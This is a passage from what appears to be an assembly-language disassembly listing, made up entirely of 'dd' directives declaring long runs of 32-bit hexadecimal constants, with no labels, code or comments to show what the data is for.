		dd 0AEC37975h, 81C1C9FDh, 44AD677Ah, 26B74AC4h,	80744D76h
		dd 7BB5E64Fh, 8C05AA83h, 0C6961A2h, 67D3B081h, 2FF4F180h
		dd 0AFBCD794h, 0A89EA005h, 8003571Dh, 3EB64F7Bh, 0D59814B8h
		dd 24ADB073h, 8CF4442Ah, 18E5F91Bh, 13077B9h, 7AA296F0h
		dd 3040F6BCh, 45097C54h, 22D82AC9h, 3C57084h, 0C102D7FEh
		dd 3D125481h, 0BCE8E014h, 1DEEA9h, 193362B3h, 1C577E60h
		dd 3D906E4Ch, 1EC40EEh,	0ED3B8C9Fh, 64FC81A0h, 5D4C54A4h
		dd 11D430E0h, 9C33452h,	0A16C2CB1h, 0E34F7490h,	4101B4B6h
		dd 0D405030Ah, 3400DC72h, 0D5D8EEFAh, 1F04B333h, 0FE5FD124h
		dd 55BC58C0h, 4638985Dh, 0AE1F023Dh, 31209EB8h,	1758112Ah
		dd 0CF852081h, 324036A7h
		dd 0E8584C80h, 0A1008CE0h, 0CCD1215Dh, 94139E4h, 45D64E59h
		dd 7C00A094h, 6588BF7Dh, 0C95D71D3h, 382EE719h,	76A70093h
		dd 51166657h, 0A2171B12h, 84A0A809h, 248CB518h,	776D31D3h
		dd 83284441h, 6F0A9469h, 8C23904Ah, 0A57200BAh,	32C544BFh
		dd 9E463A0h, 7033760Bh,	0D0801B1Ch, 1E19A7Ch, 2FEF972Eh
		dd 7479D2E6h, 780B1D18h, 80739EFAh, 77C767E4h, 24C89A92h
		dd 4E8A8BAh, 0B4AC6628h, 8002764h, 0B3B54E5Dh, 0B6BDA8h
		dd 0D34838BCh, 0A42A992Eh, 1E44B701h, 190BDD7Eh, 129F4820h
		dd 1870C61h, 9A6C2A10h,	0C19C54D6h, 424A74h, 9C25FEB4h
		dd 0A04F0378h, 18001F8Ah, 0EE0FEDE7h, 0B0DB5EF1h, 4A3492B8h
		dd 2D78322Bh, 361AA461h, 54732EC4h, 0B189E609h,	0A21076C4h
		dd 1200876Bh, 9B6A0BC2h, 0FFD375E9h, 86C8DC49h,	25CF049Fh
		dd 0AAAD7D6Dh, 4844E182h, 24EEC064h, 3E80CCA7h,	90D4AC3Bh
		dd 1B55A0Ah, 0C839A144h, 309986Bh, 0AD2A59h, 8CFBE4D8h
		dd 469C5BB4h, 0EDF01F54h, 77924F3Fh, 17AB5200h,	0BE87C5C0h
		dd 5B84A128h, 0AC1B5C73h, 29E071FFh, 0FB00199Dh, 0CE3C2EA3h
		dd 7F5297h, 69A0A44h, 58842990h, 94E0FA2Ch, 0DC799E41h
		dd 148D824h, 78B7A0C3h,	29FF72E2h, 0BC342294h, 0A059047Ch
		dd 467D046Dh, 3C6FB488h, 0D2BAC068h, 0D955B280h, 9BC3C8ADh
		dd 60765807h, 1493E219h, 0E03D9366h, 621C8ECEh,	5576426Ch
		dd 0E87E5440h, 0FAE1CA1Ah, 0C0E863D8h, 901A19A2h, 40AD4E50h
		dd 0C181EE60h, 20B88C3Fh, 205D3B35h, 34021404h,	0B6CC6B00h
		dd 0E0A85EA3h, 81189EACh, 49B86164h, 9195746Ch,	0A2A0043Ch
		dd 0F95B0423h, 30AD0CC2h, 6F112043h, 0E188374Dh, 203C0580h
		dd 1A88067h, 0FD889A0Ch, 60491413h, 0B958E370h,	48FF2536h
		dd 20669Ch, 0A04863ADh,	0AB4F2EB1h, 30EBE827h, 12CD8A00h
		dd 40F31A6Dh, 4381574h,	30DD68ADh, 0E0C825CAh, 7F804984h
		dd 8BFA7701h, 1083872h,	98B54697h, 0E050C881h, 0FA2CD0EAh
		dd 8820A73Eh, 24C76F2Ch, 1D744839h, 0D20E20EAh,	4046C490h
		dd 0BBAE2202h, 3131389Eh, 7A1A5B11h, 7E33D800h,	278E07Dh
		dd 84A1454Dh, 0D4AE6CD3h, 49B76780h, 0E100438Ch, 0B67712C5h
		dd 52631A7h, 0AAE84AD0h, 0AD38A029h, 0B999F860h, 0FAD0BC87h
		dd 0C3F00D3h, 1AF58B73h, 740BBE94h, 84DE9676h, 0BC825E99h
		dd 0AC72ADh, 667012D4h,	0CE7DE31h, 613F2B04h, 0FC8852DDh
		dd 0DAA12E5h, 1F4804FCh, 74CA24Bh, 0A82FEDCAh, 128C8BB0h
		dd 44251F76h, 0B7791E86h, 91EA80A0h, 0D091AD50h, 7E061900h
		dd 1249D1h, 0D5EDF2D3h,	4D2434BFh, 70BE563Ch, 44395300h
		dd 41B496C3h, 0B85E89Ah, 144E1204h, 0A799050Ch,	6FCD4500h
		dd 0A2C9F1D1h, 0F0C600B3h, 0E9D63BFEh, 0D358C37Ah, 96B51C2Bh
		dd 87331D80h, 28F275FBh, 0C0E0EF16h, 0A9EB918h,	0AEF87640h
		dd 0D0E4D841h, 20C49009h, 608BF6F5h, 132A8BC8h,	210076F6h
		dd 0D8A99D0Dh, 0E95A61h, 60E6FAA6h, 486C511Ch, 0FDDE4000h
		dd 7049A0B1h, 14309079h, 0C3C206Bh, 8C2C5908h, 51CE5885h
		dd 4925AC03h, 0C370044Bh, 0F002E276h, 1C0111F0h, 0C7F95836h
		dd 3C84B98h, 9C3B0F9Fh,	0D081690Bh, 0E039A404h,	3572940Eh
		dd 3A5DA600h, 3B99F490h, 0A5F17E8Bh, 30783814h,	45308D34h
		dd 0F0EB0791h, 0FD0290h, 3A319EF3h, 3C280388h, 713603CCh
		dd 4CA90A9Bh, 2F929006h, 2418B58Ch, 3DAA0E8Bh, 4CAA0807h
		dd 3B4C4E9Ah, 85E89528h, 4574EF7Ah, 4BA3050Ch, 3734788Ch
		dd 0E750FF90h, 5945C6F2h, 0F68E4B14h, 84A6CA0Ch, 96309940h
		dd 48A20503h, 1A3078Bh,	319FF288h, 4014478Fh, 2F3302B9h
		dd 0C5A423Ch, 494DB2A7h, 59750399h, 0A5F66645h,	0B3603100h
		dd 3494D146h, 88911C19h, 25B6801Bh, 0F85F7C32h,	0E6A38h
		dd 0EB54E730h, 73DABBA0h, 5A48389Dh, 0A82D5500h, 80B67E73h
		dd 0B318A7FAh, 1970F875h, 0DCC40049h, 2D7D7650h, 0AAB0FFC1h
		dd 22F05806h, 1D98554Ch, 2BFD875h, 0A3E4DC3Dh, 28971203h
		dd 451826A1h, 0D8689034h, 1244593Ch, 0DF319F60h, 28FFB61Fh
		dd 3A2C2D76h, 8244F5DBh, 788D3840h, 0C640A937h,	38030603h
		dd 36B778C1h, 18A1BB51h, 81F48D59h, 79C34E1Eh, 187733AFh
		dd 592E1130h, 0D01E329h, 0B0349248h, 408FA4D5h,	96239FCh
		dd 0D084A0E5h, 184C6220h, 1F8C5115h, 0F10ABB63h, 94791131h
		dd 30C6A3B9h, 3DD56847h, 6BE51557h, 0F331A4F6h,	202138F1h
		dd 0A051EA99h, 45D2C878h, 8E316861h, 188A5709h,	154C0339h
		dd 8440587Ch, 5FAB4475h, 0E0CEB312h, 0E039181Bh, 63316D95h
		dd 0EE1E318Dh, 3E551914h, 58232A4Ch, 8241E889h,	1DDAF591h
		dd 0FA28418Fh, 0A43CB994h, 79082E21h, 6A2456A5h, 10D374F8h
		dd 0B2E3E6B8h, 0FA1210A5h, 31406485h, 6E189CE5h, 8B73118h
		dd 85F97A51h, 0C208BA59h, 45F1F843h, 0C8210A9Eh, 0A9A8AA11h
		dd 0CE4250AEh, 7550F223h, 0D41085A3h, 21D4DA88h, 0E944CA5Dh
		dd 0C8B52222h, 519F8108h, 8D8A08ECh, 0A0718D45h, 5C32A412h
		dd 0B2846C48h, 6032524Eh, 3B4C680Dh, 56F03006h,	8D1ECD21h
		dd 40614D6Ch, 448C98F8h, 0A1C0FF5Ah, 6E8F7358h,	22EF1B6Ah
		dd 88B43133h, 0B8191A84h, 3EB16C26h, 0EF8F4110h, 0DC062126h
		dd 22117618h, 8638A657h, 0F2C64058h, 114279C9h,	3C5C8DC0h
		dd 4032644Dh, 0B6D4152h, 0A048E32Ch, 64F24CAFh,	494836D2h
		dd 4095971Bh, 0F6ABC021h, 0AC752450h, 0E26A62F8h, 0CD05110Fh
		dd 453C8D30h, 801569A0h, 85319DD8h, 46A5C600h, 7893F292h
		dd 74F4748Fh, 5CF30037h, 4102814Ah, 50FAE53h, 81D93BA2h
		dd 0C69646A3h, 560030E1h, 0D1F914Ch, 363A78AAh,	5811289Bh
		dd 27CD88Eh, 32A0019Ah,	0F0C0C698h, 571E0296h, 971F8236h
		dd 9EF29005h, 0A68260C7h, 0A814E046h, 0C88E2837h, 7D048D7Ch
		dd 8B118AC0h, 32980101h, 40A4C88Ch, 12184B95h, 908E8612h
		dd 0BC012039h, 6E3771Bh, 0D31882FCh, 0E371D975h, 30B2E738h
		dd 6E7C68F5h, 51372C19h, 0C189020Ah, 0E8E0D628h, 74803990h
		dd 98681378h, 0BEDC094Eh, 0FE6D5C40h, 1FFD2A00h, 0C0397B74h
		dd 0F441050Bh, 80CE89DAh, 2B0EBC20h, 3A6F320Fh,	204AEB2Dh
		dd 8B216EA4h, 0F8F8B87Dh, 8370B8A8h, 9158C840h,	0CD9C326h
		dd 8192E39h, 98F93037h,	0CDC014CFh, 29807C20h, 0DD1CD091h
		dd 69E5647h, 104D113Dh,	0EABB2909h, 68E48C3Eh, 0A89E10CFh
		dd 0AC2710C7h, 0F838DB19h, 0D381815Ch, 6BF1EF45h, 0A01040BEh
		dd 8D9C4157h, 788B4850h, 82D493C2h, 88C9484h, 66870DD6h
		dd 8082ABF1h, 65564195h, 898E8884h, 38D5D400h, 4FBFA806h
		dd 7E19A312h, 1DAE002Bh, 0ADC28008h, 5732C6DCh,	86F589FCh
		dd 49087648h, 0B9C92841h, 49E66415h, 97EF0F09h,	328051F0h
		dd 3ED9933Fh, 2E143700h, 923082C5h, 564EF3h, 9A469614h
		dd 35595709h, 1988B78h,	32A3F450h, 78F05461h, 89E73AB4h
		dd 93078D01h, 0CCA9CF3Bh, 44A6D54Eh, 4B8F9E00h,	0A9F0E19Dh
		dd 7A04ACD0h, 53977C15h, 8400CE0h, 9A0D08AAh, 0F894E230h
		dd 0E1ADC530h, 0E2FB0823h, 26E11B32h, 4EE5F139h, 8A488A0h
		dd 6914A539h, 87FCA10h,	0FA483564h, 0B3301D95h,	0C1593ACDh
		dd 0BB881052h, 2B3C6791h, 7C084646h, 70019641h,	0E902AF39h
		dd 5CF09C6Dh, 0CBF5239h, 8CC6B615h, 0AD065090h,	281C7DE3h
		dd 38993496h, 32123909h
		dd 34483324h, 3E223591h, 89403F44h, 243A1241h, 913C483Bh
		dd 4446223Dh, 49894847h, 0F1E04213h, 260286DEh,	2084D2B0h
		dd 0A3F491B5h, 84FCB894h, 49735B2h, 8526A59h, 38BC80E1h
		dd 7C369FD8h, 86A53EF3h, 0C701AC48h, 551BFA56h,	37A0E079h
		dd 0FDD8311Dh, 251E431Fh, 2DF9DB07h, 404CD3C7h,	3A5F84Bh
		dd 0A6F778C3h, 1EC057A7h, 0F91E5955h, 8A09380Bh, 7F484DBFh
		dd 0F57F04E8h, 302BA259h, 88D6A188h, 0D0A51108h, 0D814BE8Eh
		dd 7AB38F8h, 28A90187h,	0F0CA8F28h, 9CB2606h, 1804CC45h
		dd 0BBEA042Fh, 518E7C81h, 0A9ACC0D5h, 0C1185970h, 0C02157B3h
		dd 7038A53Bh, 941FF6B3h, 0D48766CBh, 4BC3AA7Eh,	0AC180EF5h
		dd 546023E2h, 0D342F1FAh, 2B1C43F9h, 9F7160F8h,	0D92919F4h
		dd 0EC1728A2h, 0D7C1E4A9h, 8CBB1C72h, 31A71141h, 453F0090h
		dd 0D4DA8812h, 43005A54h, 0A187A3C2h, 0E93DCDh,	0DCF66635h
		dd 0DAD895B7h, 41D438CFh, 0A475EB37h, 0B174B02Ah, 5DCD4606h
		dd 30328Dh, 0AA2896DDh,	725191DCh, 0A371A060h, 0E7EEBBh
		dd 7A373494h, 9917888Dh, 0B61B506h, 0F850CD52h,	31B70365h
		dd 3A89E36Dh, 83AC5FC0h, 27259E1Fh, 5766C2C0h, 0FE2C09CDh
		dd 19720056h, 0A0EA70B7h, 9E340ABFh, 0E40748C4h, 500D732h
		dd 17FFC0D3h, 0E8FAB3A6h, 29B06224h, 96600E46h,	7B6FEFFCh
		dd 0BE002076h, 81F9236Bh, 0A42914h, 0C0353BBBh,	0A9395592h
		dd 0D65CBA00h, 0DA6894CEh, 816F3AAEh, 579ECA00h, 5192993Fh
		dd 9007C6FEh, 0E0F02B68h, 0C3BA4BC0h, 13F746Ah,	0CB4954C5h
		dd 0D31D3BBEh, 0BC4B75E0h, 404DC630h, 2D04AB6h,	0D6749ACAh
		dd 40909CC5h, 4D1EC1CBh, 7C07C943h, 5FC1ABECh, 9BE2BC3Fh
		dd 0D8983E30h, 1C68C014h, 0BE4B73C1h, 0B0F00093h, 0BBD61D5Eh
		dd 98D80AC1h, 0AEC4560h, 0DE043A8Ch, 68C1BC18h,	50AC070h
		dd 44BFFD9Bh, 9C1870D9h, 0CF003F51h, 0F5D44A9Dh, 48DA1483h
		dd 2C46BAB6h, 92B9D50Ah, 80B800C4h, 0EB93E510h,	0BD311514h
		dd 80EFCF38h, 0B493966Fh, 0C9D51D5Fh, 1448159Eh, 3AC040D1h
		dd 6E5D9448h, 9CC41D07h, 0EB424B61h, 55F8A05Eh,	2885B7D9h
		dd 8550E516h, 98C05504h, 306AD6h, 3571BAABh, 0FF3BE39Dh
		dd 4AEBB80Eh, 68C380D3h, 1381F8D7h, 5DBA406Eh, 6FC00D00h
		dd 0DA27CC28h, 98909378h, 569CB401h, 67EBFB8Eh,	98C5C6F0h
		dd 2850CF40h, 5152EF00h, 2099B948h, 93716CA8h, 20F743F8h
		dd 26F1D9ECh, 0F9990F74h, 8909A5Dh, 0FE570460h,	302A1124h
		dd 0BBD55500h, 59DC774Fh, 101290CBh, 9640319Bh,	0C5820B8h
		dd 54C1CC07h, 1540CACEh, 989BA005h, 78F490D0h, 9EC3181Fh
		dd 58BF4052h, 4F0FC098h, 0A1CF4456h, 0C2BCD41Bh, 41E23DD1h
		dd 9EC4E28Ch, 0C6D70567h, 81D9549Dh, 60D05C70h,	0DA122648h
		dd 0A001BE0Fh, 0D957C6C2h, 1253ABE3h, 1B549460h, 0F0E758ACh
		dd 0BC0C689Ah, 0F409760h, 0E8CF5EB5h, 10C8C79Dh, 0BE438193h
		dd 0BC308194h, 0BDCF504Fh, 0C0C7A18Fh, 9C580096h, 9ACEDA66h
		dd 0D0181558h, 4AA9FA04h, 0DC3C74F8h, 0D61B17CAh, 4C5DD430h
		dd 4FCB16D4h, 0FD603066h, 4B0F7F4Eh, 8E1B92C1h,	0B874B2BAh
		dd 24B5189Ch, 13F067C7h, 0BE1C03C6h, 0BDA0579Ch, 0D60F68BFh
		dd 9844900Fh, 58D05E30h, 3C787CC7h, 3D02C1C0h, 96609EBAh
		dd 0CAD7C047h, 96BEF5F8h, 0C44090CBh, 0C73D55B2h, 0E468599Dh
		dd 0D84A1BC4h, 98B0600Ch, 40584BF8h, 78683ADCh,	49789074h
		dd 204AC234h, 61BAC4D2h, 98B4C08h, 0C40ABCDAh, 0DC6352E4h
		dd 0C0C84AC2h, 0C62EF739h, 970420C3h, 10C3589Ch, 0C2691E92h
		dd 9BC90E5Eh, 2090D98Bh, 2CA5C0BDh, 603E3CA4h, 0CED04A80h
		dd 6B3498C1h, 200058B7h, 0BFD75E8Fh, 0B0C1C27Ch, 99F7385Dh
		dd 5020184Dh, 38A54D56h, 41EF9AFh, 486E80AFh, 0B67EEAFEh
		dd 0C4FD4084h, 0F0434043h, 2F7CC493h, 0C8342C18h, 0C5AAD080h
		dd 0A7BBD668h, 3F717868h, 58979905h, 0D881CBD0h, 64749FD6h
		dd 689B1FC6h, 0B6182A3Dh, 1AB65F8h, 3C7B4F50h, 0DA87D0A7h
		dd 209CB92Eh, 5497B502h, 6738E0D8h, 1449ED4h, 5EC6BC49h
		dd 8B3C3CD6h, 3CD44492h, 5702A4ECh, 54C5BE1Fh, 719D80E1h
		dd 6DC3E0A0h, 0C6BA4B02h, 0E0C44A5Ch, 74A02C90h, 82207CE6h
		dd 53C350C0h, 40214363h, 4B51C0B8h, 4F54F8C9h, 9C5052D5h
		dd 0BC30EFC8h, 7AE0684Bh, 50E0B837h, 0A5C1805Ch, 2CB0D934h
		dd 0BAC32FECh, 0C1341750h, 7DB8D55Fh, 5CB7C390h, 0F001A5D6h
		dd 74DFAF0Ch, 1C1ABD0h,	4FB9D551h, 9DC7444Dh, 5743CB21h
		dd 0A090CEDAh, 3D9DBD43h, 90E5D91Bh, 13E0B249h,	8084756Fh
		dd 102F3835h, 5CC398C0h, 0E061BBDAh, 5AC6B5E8h,	6BBD2887h
		dd 51B14223h, 0DC001C42h, 5FC6C7CEh, 439120C0h,	749EB9D0h
		dd 4E9CF65Ah, 71B81755h, 422B3BE0h, 80887AC4h, 1A89428Ch
		dd 5C00F873h, 1B93BE43h, 9CBA3135h, 40C0B988h, 814FB8DCh
		dd 0D80ED0A2h, 8002FC9Ch, 5290BCD8h, 6A4E0460h,	4A9E80A0h
		dd 78043F1Ch, 2AB049D4h, 1B02F057h, 5E95BE44h, 8FDCF92Ch
		dd 9A034A15h, 18443F1Bh, 49F7C6C8h, 46DC4C58h, 6058EB4Bh
		dd 2DD35130h, 0D4114E03h, 5FBFCC4Ch, 9E534490h,	64644AF4h
		dd 9057F0F4h, 3C309C20h, 436C01FCh, 4B58C3BAh, 0A07FE1C4h
		dd 0D625F0C0h, 0FD1817CAh, 95BD3960h, 0CECD2657h, 0C0481DDCh
		dd 0F03F55C6h, 630007F8h, 0FB1E767Ah, 1C826E5h,	3DA1D7F6h
		dd 0D86E6F3Eh, 2F05610Ch, 1795EC59h, 471A2C00h,	3B4ED29h
		dd 0BB720BCFh, 2DA20C1Fh, 7C01ACF8h, 35A7292Eh,	5880453Fh
		dd 3DA003C6h, 22FC7269h, 576F70C0h, 0A68E3h, 75D9ECF1h
		dd 0DFD6D03Ah, 7766A61h, 508FE911h, 1F5D5EB3h, 2A628030h
		dd 75DC163Eh, 97B8C500h, 1326BAE7h, 0DF3101A3h,	3C36C3EFh
		dd 8204F99h, 6CDB81C5h,	48C9AE0h, 0B4EA2948h, 3763D7h
		dd 292F8721h, 146AE905h, 80330D3Eh, 0FCF4FED5h,	66F8C86h
		dd 0ECFA614Ch, 0D32AD8F1h, 5600C8FBh, 5CB247EDh, 0F47379h
		dd 839D283Ch, 48706ED3h, 3EFA4B67h, 0E441E535h,	96DD0A66h
		dd 0ABB94882h, 0C85E9F46h, 194EAF00h, 891D34h, 8A6EF824h
		dd 9482E816h, 267ED202h, 80EA9398h, 0A6933E8h, 3A91C0ADh
		dd 90F0E6CFh, 20DBC730h, 33A0BBECh, 8380396Bh, 773AE907h
		dd 0F0D00E52h, 2BEA4CE5h, 101C9830h, 0B17830AEh, 0B0FAEFh
		dd 3DA3814Ah, 63E81865h, 86285AE2h, 4201FC2Fh, 6FC0ABB2h
		dd 6980C46Dh, 0FAEB0FECh, 0CB066744h, 0B36EE927h, 21D56008h
		dd 0EFFAE4A4h, 0BA76BE01h, 481761C2h, 0E0B7A980h, 0E16BFC92h
		dd 479E7203h, 0CD6E5FAh, 3DF8E368h, 8612B329h, 40A7052h
		dd 23F48868h, 9C509210h, 0DA088580h, 97860325h,	4061E2B3h
		dd 0C6C0F86Eh, 0F5100CF3h, 0DF497366h, 8D4B5B06h, 482AFBF8h
		dd 5F117C38h, 34C212A8h, 366AB002h, 0F95600FAh,	84A1E09Fh
		dd 22484876h, 1C468446h, 7C86FB20h, 9903E647h, 70482D3Bh
		dd 654F5903h, 0AF2693A9h, 87FE260Fh, 58A54908h,	0A976B400h
		dd 0BD12845Fh, 0E091E760h, 239C3h, 4AF5A51Ch, 1AA4C15Bh
		dd 0B4D63F02h, 8F583A5Eh, 6C6F64D8h, 0FAC81899h, 0C3672345h
		dd 0A500D111h, 28F3FAE5h, 6738D366h, 0CD5DA822h, 62713B78h
		dd 0F048C234h, 7260A801h, 84740FEh, 35266AF1h, 7BF00404h
		dd 0A6BA44D0h, 2A0D38CAh, 0EE389935h, 3490A872h, 14064F47h
		dd 38A28B10h, 41126F14h
		dd 0BF0050F8h, 0EE78E442h, 23D24116h, 0DCB4F798h, 0DCEC107Eh
		dd 92FC3CB8h, 0C120746Fh, 2F60C2F8h, 927AF430h,	699E0C64h
		dd 0E0B813CEh, 1E615D00h, 0F745AB97h, 600C0C16h, 2C80A702h
		dd 0E9608DEAh, 925EBFD0h, 0E658C088h, 0DA0A1822h, 0C4BB78C0h
		dd 54C2EAF8h, 0E454B0D8h, 6663F2Eh, 85947600h, 0E3916CA1h
		dd 286B4004h, 20809E7Ah, 8B31A7FEh, 0FAD560E4h,	0BB672332h
		dd 0AE00D411h, 0D2FDFAEEh, 0C9987EB0h, 0F560477Eh, 65122741h
		dd 4AA6012Ch, 0BBE9897Ch, 0A46DC851h, 0DAC8350Bh, 2D780707h
		dd 0E0707560h, 8495005Fh, 984C4417h, 94A0E91Bh,	0E418F042h
		dd 0C59E8D3h, 6E30008Dh, 4653B363h, 8CCAB6Bh, 1D21F2h
		dd 0D9053095h, 0D25F5DECh, 0BC382D79h, 0C09E945Ah, 266C3A0h
		dd 46219401h, 82C424AEh, 51137800h, 42FFA6E6h, 0CEA9007Fh
		dd 8BD7F7EDh, 71051E7Bh, 2C967261h, 64D6E000h, 6A026A63h
		dd 11FC1020h, 0A96F822Fh, 0B1466291h, 0B210ABFCh, 2900A978h
		dd 0F5DD5C8Bh, 1FE7E8E9h, 92C0A646h, 0B01828FAh, 0B3B1BB0Fh
		dd 5FD50097h, 2086B50Bh, 6E00A0EEh, 3FE6B91Eh, 240ECEE7h
		dd 4044707Fh, 0EA6A76EBh, 36480262h, 1CC980CEh,	482E69DDh
		dd 121508CBh, 0F2099054h, 3C029574h, 40A59DC3h,	9F08C2BBh
		dd 8292D30h, 0C1FB4E7h,	0E52262h, 47293C7Ah, 0A5F30502h
		dd 0C326B4E6h, 0F699031Bh, 46C849B6h, 4715B3D1h, 63C018A0h
		dd 462695A9h, 0A4227Fh,	81A96CBEh, 7180F7Bh, 909CF119h
		dd 804CC5B8h, 1DF0A447h, 407919B9h, 3CDBEBFDh, 770129C5h
		dd 316759AAh, 843020E4h, 0D18E0116h, 70F26344h,	41508291h
		dd 489F0677h, 9895FCCh,	4DE8847Bh, 1B3E0002h, 0DE500209h
		dd 2CDC94CDh, 91053B5h,	2002896Dh, 8A0E2046h, 82809431h
		dd 0F02B2AF6h, 4B5F00D0h, 307323F8h, 7F09952Fh,	0B0855B25h
		dd 28615C08h, 639EFA20h, 2D5370F1h, 2E3C9804h, 0A6046DAAh
		dd 0B2DF001Ah, 0C9ADEE6Eh, 0C43091C0h, 0F912091Dh, 88000C4Ch
		dd 7C79CA52h, 0C04148B8h, 0A08CF1BCh, 2C0352BEh, 2BBA780h
		dd 0A4FB273Ch, 0C04EEC69h, 0E2C7A65h, 8F06203Bh, 41F8D3h
		dd 166D4319h, 7BC55A78h, 0DE822C00h, 0EA119601h, 3C9B06FCh
		dd 315F3F05h, 7C90EC00h, 26CDB585h, 0DE9628C0h,	74774884h
		dd 0C398A6C1h, 30E8BA0Eh, 41AF39E1h, 8A1E0088h,	0CC471C89h
		dd 0BF00A405h, 6AEB4C78h, 2451034h, 0C825076Ch,	4864E5CAh
		dd 9102E046h, 93636230h, 2910F031h, 32003099h, 0FD6174F5h
		dd 9057BE5Eh, 74A44848h, 69013923h, 6F2697A9h, 0B088AA18h
		dd 0EAA9026Ah, 85DE9D13h, 25F32C0h, 189C3458h, 6E585C37h
		dd 6DCE0E46h, 59205240h, 9ABA5F7Bh, 21427A12h, 0EC90385Fh
		dd 0FA11C203h, 22C891AEh, 0D30ABA8Fh, 0D04DCB12h, 0A1A001C9h
		dd 2019313Ah, 0F424C328h, 904BAC60h, 190FE38h, 0E8C81036h
		dd 239965Ah, 0C03860E9h, 3477586Fh, 8F4FAB0Fh, 0EA1025A0h
		dd 3C1FD751h, 873598Ch,	952101C5h, 0C3BE101Eh, 0DAD94382h
		dd 0F384A6E0h, 5C4C5A00h, 796B856Eh, 0E25E00CDh, 0A136D290h
		dd 8E075506h, 0D1D09E1Fh, 0D81CEF10h, 0D50158C9h, 51824600h
		dd 0C4AB8D66h, 211B117h, 8145CD0Fh, 8F4A539Fh, 8DBB6880h
		dd 0CE5BF038h, 73314200h, 0D95E7836h, 60DCEEB1h, 0E972850h
		dd 7200884Fh, 6E3DBF29h, 9B7A69h, 2C70932Bh, 77A137CEh
		dd 27AFD300h, 4727C3Fh,	0AD880012h, 52DDBD36h, 78064BE1h
		dd 0C47D01D5h, 0B07388h, 9B172322h, 620BC853h, 0F300DD7Fh
		dd 0DAE552DCh, 0C08BE92Ah, 81AF4FA8h, 603796Ch,	0E5B8F8Eh
		dd 0AA083096h, 6C89CE21h, 0FA98181Ch, 0EAB024C0h, 28FC6D86h
		dd 0B4B631h, 0C82F84DAh, 1A472E1Fh, 0F3080D1Ch,	1332C605h
		dd 0B88F9030h, 0B146009Ah, 4FA6DE81h, 0D21850D5h, 8B49AC32h
		dd 7C4C0084h, 0D6A37462h, 8CA9D3Ah, 0EE8298DFh,	82C84C8Dh
		dd 0D3BE80h, 356A4D04h,	0DE36D8A0h, 18DBE933h, 41AEE398h
		dd 0BFD4E459h, 5EE31454h, 7A80C030h, 0A0315586h, 9C95E900h
		dd 88C1796Dh, 0FFCE1CCDh, 0E3B18002h, 37FA2E51h, 19C8F8A0h
		dd 4E42124h, 6208101Fh,	0AC9614A7h, 78048C7Dh, 0A6067A6Ch
		dd 8000C138h, 87C6EB6Ch, 50471807h, 0D16B609h, 97A2464Bh
		dd 0F1C9E458h, 0B2A0AE50h, 196A8700h, 6499D15Eh, 1484AC01h
		dd 78AF4898h, 0B5DB990Ah, 5C50C888h, 1A009146h,	0C77E6118h
		dd 8092F119h, 1B292CA0h, 88E8A924h, 8C362E84h, 6185200Fh
		dd 9C9028E0h, 865DA60Ah, 0D300D43Ah, 39A4E669h,	0D51A1054h
		dd 2A6102ABh, 9388F925h, 20B8236Ch, 836C7701h, 0AC4E9E06h
		dd 6C7FC000h, 0D54C4587h, 0B038C03h, 0C050DB83h, 8034862Eh
		dd 7F2A8F6Dh, 0AB009853h, 2813E92Fh, 19F68ACAh,	8C2D0AEh
		dd 921C3438h, 0DD0013F2h, 0DC42E2D8h, 6954987Dh, 0A40041ADh
		dd 46820A08h, 280D31C3h, 6C3FC059h, 8A540016h, 0A3FD8BFAh
		dd 9A1468E5h, 109C7E53h, 4A0A3EE6h, 8284D60Eh, 0BA2948B0h
		dd 0F9BA0B0h, 673DB4E0h, 0C87EE0E3h, 0AD712B5h,	0A23E178Dh
		dd 9AE88AC0h, 837D8084h, 7B726BC7h, 0F7E28700h,	1AAE6F7Eh
		dd 18262855h, 0C4398C4h, 764EB59Bh, 0C51462C0h,	3BCCA72h
		dd 0A3D1BADEh, 0C9B8E8CDh, 0EE59C98Eh, 0A1DDD001h, 202831EDh
		dd 38403A98h, 40DF0634h, 10290A54h, 50C7EC00h, 718F10B1h
		dd 0EA1B181Ah, 5B664983h, 0A853E200h, 0D1C349A7h, 799F00FFh
		dd 504A6508h, 78C8D09Dh, 57E18282h, 60908B07h, 0E9036E32h
		dd 5EDACA6Bh, 678589ABh, 1031A6h, 51D51024h, 44863D1Fh
		dd 1D0094BCh, 68B53110h, 4C413DA6h, 7911F458h, 0A95E1CE4h
		dd 0CF7D60h, 814CAD39h,	4DDBB8DAh, 5048D96Ah, 7B851C11h
		dd 7EF7C26Ch, 9044504Ch, 6C8300CCh, 9AF0E34Ah, 663DFDD1h
		dd 4D9901C3h, 0C58D102Eh, 71B00820h, 8F6F121Bh,	0EB546085h
		dd 0CA232613h, 42117Ah,	0C913D29Ch, 98D9606Ah, 0A167047Ch
		dd 0C18E6E72h, 59BE62Ch, 3AB08000h, 984DA7F2h, 76A490C4h
		dd 40BCA2AAh, 0A0E7C581h, 0A390EF0h, 0C1C494A0h, 0C6E509FCh
		dd 0B14C38A2h, 0AADE220h, 1FD892E6h, 0BFE37E17h, 15A4DFA8h
		dd 0CC81ABACh, 0E9102880h, 3C43FF51h, 902EC022h, 0C5004B21h
		dd 110E730Dh, 0AD30256h, 3BAD5E17h, 79C9C468h, 504BD240h
		dd 0A849D06Bh, 0ECFEDADCh, 0A65D3F0Ch, 6BABD060h, 1C038A96h
		dd 0AA614EC8h, 0D0B8675Bh, 1A054801h, 5684B83Dh, 0D3FF8000h
		dd 67A62C82h, 608FF16Ah, 62DC80E0h, 890820A7h, 0D634C1AEh
		dd 68C5071h, 546A6A3Dh,	1608B490h, 1A0401BEh, 4108A2B8h
		dd 72A0D2D0h, 7E8F802Ch, 24264E68h, 1138BF73h, 6C82801Bh
		dd 99960678h, 8ACFC0E4h, 7704CE6Ch, 0F5C7D1E3h,	889B18DCh
		dd 1002237Eh, 0F8F43524h, 0F1B98712h, 2ABB48F0h, 0AD8F0BD7h
		dd 3498D602h, 85265E4Bh, 0B0876086h, 0E1058807h, 0DF7C1881h
		dd 405D6820h, 1914CE80h, 9D0E269h, 0A3CBAB0Fh, 798E828h
		dd 516DDC81h, 0FF08405Ch, 0D2025F53h, 601995F9h, 8A844123h
		dd 0F0C82119h, 8493C2CAh, 8F003D11h, 0A39A13DFh, 8D07AA7Ah
		dd 40C7F2FCh, 0AF6519B0h, 58924D52h, 18849073h,	0C029A512h
		dd 56264D06h, 2116303Fh, 16E3F848h, 1CA81D7Ch, 2BCEECFh
		dd 95D95A59h, 32F58482h, 9576D603h, 0C9028804h,	24816894h
		dd 12039C31h, 3B042E1h,	222124D9h, 0D1820834h, 0D52EC785h
		dd 98819043h, 0C29784Fh
